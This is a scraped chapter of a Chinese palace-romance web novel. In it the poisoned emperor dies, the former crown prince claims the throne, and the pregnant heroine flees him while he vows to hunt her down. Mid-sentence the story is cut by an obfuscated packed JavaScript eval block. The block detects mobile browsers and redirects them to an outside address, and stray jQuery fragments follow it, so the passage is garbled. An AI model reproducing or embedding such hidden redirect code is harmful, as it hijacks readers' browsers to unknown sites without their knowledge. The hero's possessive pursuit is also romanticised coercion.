第173章 她不要他,也不要他的江山
作品:《新婚当夜捉奸,我改嫁倾权督主急哭渣夫世子》 第一百七十三章她不要他,也不要他的江山
萧骏炎再也顾不上什么尊严,如同一条濒死的狗,跪在地上,拼命用手去捞那些混着灰尘的药粉,胡乱地往嘴里塞。
可腥甜的血还是不断从口中涌出,根本止不住。
“裴萱……你弑君……也……也无法活着离开……”他含混不清地诅咒着。
“你多虑了。”裴萱站起身,拍了拍手上沾染的灰尘,神情淡漠得像在看一个陌生人,“我只是帮真正的帝王扫除障碍罢了,并非弑君。”
她向后退开一步,撤走了他们身后的紫檀木雕花屏风。
屏风后,一道人影正端坐于太师椅上,手里把玩着一只白玉茶杯,好整以暇地看着地上狼狈不堪的萧骏炎。
“萧玦珩!”萧骏炎目眦欲裂,“你竟敢背叛朕……”
“谈不上背叛。”萧玦珩放下茶杯,“我只是用了一些手段,把本该是我的东西,要回来罢了。”
他站起身,一步步走近,投下的阴影将萧骏炎完全笼罩。
“萧骏炎,我是萧珩,你的堂弟,也是前太子。”
萧骏炎的瞳孔骤缩。
“这……这怎么可能?你、你不是早就**吗?”
当年那场宫变,前太子萧珩明明已经葬身火海,尸骨无存!
“你和你父皇,自然是希望我**,这样才能名正言顺地霸占原本属于我的南澜江山。”萧玦珩嘲讽一笑,那笑意却未达眼底,“只可惜,人算不如天算,我命大,从那场大火里死里逃生了。我活着的每一天,都在寻找机会,找你父皇报仇。”
萧骏炎连鼻子都在流血,死亡的恐惧一点点吞噬着他。
他挣扎着,声音嘶哑:“此事……是父皇一人所为,不关朕的事,你不能迁怒于朕啊……”
“你说的对。”萧玦珩竟然点了点头,“我本来不打算除掉你的。我还想着,等向你父皇复仇之后,就以东厂督主的名义,扶持你坐上皇位。”
他顿了顿,语气骤然变冷。
“只可惜……萧骏炎,你既伪善又薄情,平日里满口仁义道德全是伪装,你根本不配做南澜的帝王!”
求生的本能让萧骏炎死死抓住他的袍角,像抓住最后一根救命稻草。
“萧……珩,朕保证……朕一定当个好帝王……求你,给朕解药……”
萧玦珩用力甩开袖子,仿佛沾了什么脏东西。
他居高临下地看着他,眼神冷若寒冰。
“你不会的。你只会想尽办法,将我杀之而后快。”
因为,前世萧骏炎就是这么做的。
他绝不会再给萧骏炎算计他的机会。
“萧珩……萧督主……求你……我就算不当皇帝也行……求你留我一命……”萧骏炎苦苦哀求。
萧玦珩却始终无动于衷,他冷声道:“自从你与崔县主合谋算计我夫人的那天起,你就该料到会有此下场。她是我的逆鳞,你不该觊觎她!”
萧骏炎心如死灰,他知道萧玦珩铁了心要取他性命,再多的哀求都是徒劳。
看着萧骏炎眼里的光一点点熄灭,最后彻底咽了气,萧玦珩这才面无表情地转向一旁的裴萱。
“外面都是我的人,他们会护送你安全离开。今日东宫之事,在我登基之前,绝不会有一丝风声传出。”
他声音平静,仿佛刚才死的不是一国之君,只是一只蝼蚁。
“我答应过你,给你和二王爷自由。他如今就在城门外等你。”
裴萱朝着他,深深地、郑重地行了一个大礼。
“谢主隆恩!”
……
萧玦珩一路快马加鞭,风尘仆仆地赶回萧府。
他终于应了苏婉音的请求,取了萧骏炎的狗命,为金珠报了仇。
如今,他即将夺回本该属于自己的一切,定要将这世上最尊贵的皇后之位双手奉上,许她一生顺遂无忧,从此再不受半分委屈。
然而,当他兴冲冲地冲进苏婉音的院子时,迎接他的,却是一片死寂。
院子里空空如也,别说苏婉音,就连银珠和孟婷的影子都看不见。
一种不祥的预感,瞬间攫住了他的心脏。
他冲进屋里,桌上只放着一卷卷轴和一个紫檀木匣子。
他打开了匣子,里面是厚厚一沓银票、地契和铺契,最底下静静躺着一封信。
打开信,上面是苏婉音的字迹。
“珩,
恭喜你得偿所愿,遗诏如今奉还于你。
经过反复思量,我自觉不适合做后宫女子,故携银珠与孟婷浪迹天涯去了。长生与金珠并不知晓我的计划,还望大人莫为难他们。
另,大人新登大宝,诸多事宜需用钱财,除一万两银票外,京中田产与商铺尽数留于大人,聊表寸心。
往后,我们山水不相逢,各自安好。
苏婉音”
每一个字,都像一把淬了冰的刀,狠狠扎进他的心口。
得偿所愿?
没有她,他算什么得偿所愿?
山水不相逢?各自安好?
他筹谋两世,手上沾满鲜血,为的不过是能将她护在羽翼之下,与她共享这**江山。
可她却在他功成名就的这一刻,用最云淡风轻的方式,给了他最沉重的一击。
她不要他,也不要他的江山。
萧玦珩将那封信死死攥在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17293183|196452||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
掌心,脆弱的纸张被他捏得不成形状。
随即,他低低地笑出声来。
那笑声在空旷的房间里回荡,带着一股令人毛骨悚然的阴鸷。
“夫人,这皇后之位,不是你不想当,就能不当的!”
他的女人,就算逃到天涯海角,他也要用尽一切手段,将她找回来!
与此同时,一辆毫不起眼的马车正颠簸着驶离京城。
车厢内,苏婉音正闭目养神,不知为何,一阵恶寒毫无征兆地窜上脊背。
她下意识瑟缩了一下,整个人都绷紧了。
身旁的孟婷立刻察觉,连忙将一件厚实的披风给她裹上。
“您腹中的孩子现在月份浅,最是怕风寒,尤其夜里,千万得穿暖些。”
苏婉音拢了拢衣衫,总觉得,方才那阵恶寒并非因为夜风,而是……害怕。
一种被什么可怕猛兽盯上的感觉,阴冷,黏腻,无处可逃。
一直默不作声的银珠看向她,那双平日里清澈的眼睛里,此刻竟多了几分幽怨。
“银珠,你这是什么眼神?”苏婉音嗔怪道。
“夫人!”银珠的声音闷闷的,带着哭腔,“您都怀上大人的孩子了,竟还要离开他!还坐这么颠簸的马车深夜赶路,您真是自讨苦吃!”
苏婉音噗嗤一笑:“你这小丫头,才刚离开京城就不高兴了,怎么,怕吃苦了是吧?”
“奴婢才不怕吃苦呢!”银珠的眼泪终于掉了下来,“奴婢只是觉得……大人怪可怜的。您一声不吭就带着他的骨肉走了,实在太狠心了!大人知道了得多伤心啊!”
“他?他才不会伤心呢!”苏婉音嘟囔道,声音很轻,像是在说服自己,“反正他不喜欢孩子,带走就带走呗!”
留在他身边又能如何?
萧玦珩即将登基为帝,她若继续留在他身边,只能眼睁睁地看着他坐拥三宫六院,身边环绕无数女子。
这并非最无法让她忍受的,最让她介意的是,她会被迫跟自己的孩子分离。
她五岁时便失去母亲,那种被抛弃的滋味、无人疼惜的孤寂,她至今都刻骨铭心。
一个失去母亲的孩子,日子过得有多艰辛,她比谁都清楚。
她绝不忍心让自己的孩子,经历她曾受过的苦痛与折磨。
与其做那被困深宫、与骨肉分离的贵妃,不如成为富甲一方、逍遥自在的商贾,活得自在痛快!
马车在夜色中继续前进,一想到未来天高海阔,苏婉音脸上不禁浮起一丝憧憬的笑。
她轻抚着依旧平坦的小腹,在心里对腹中的孩子柔声道:“宝儿,你放心,母亲一定把你好好养大,给你全部的疼爱。”

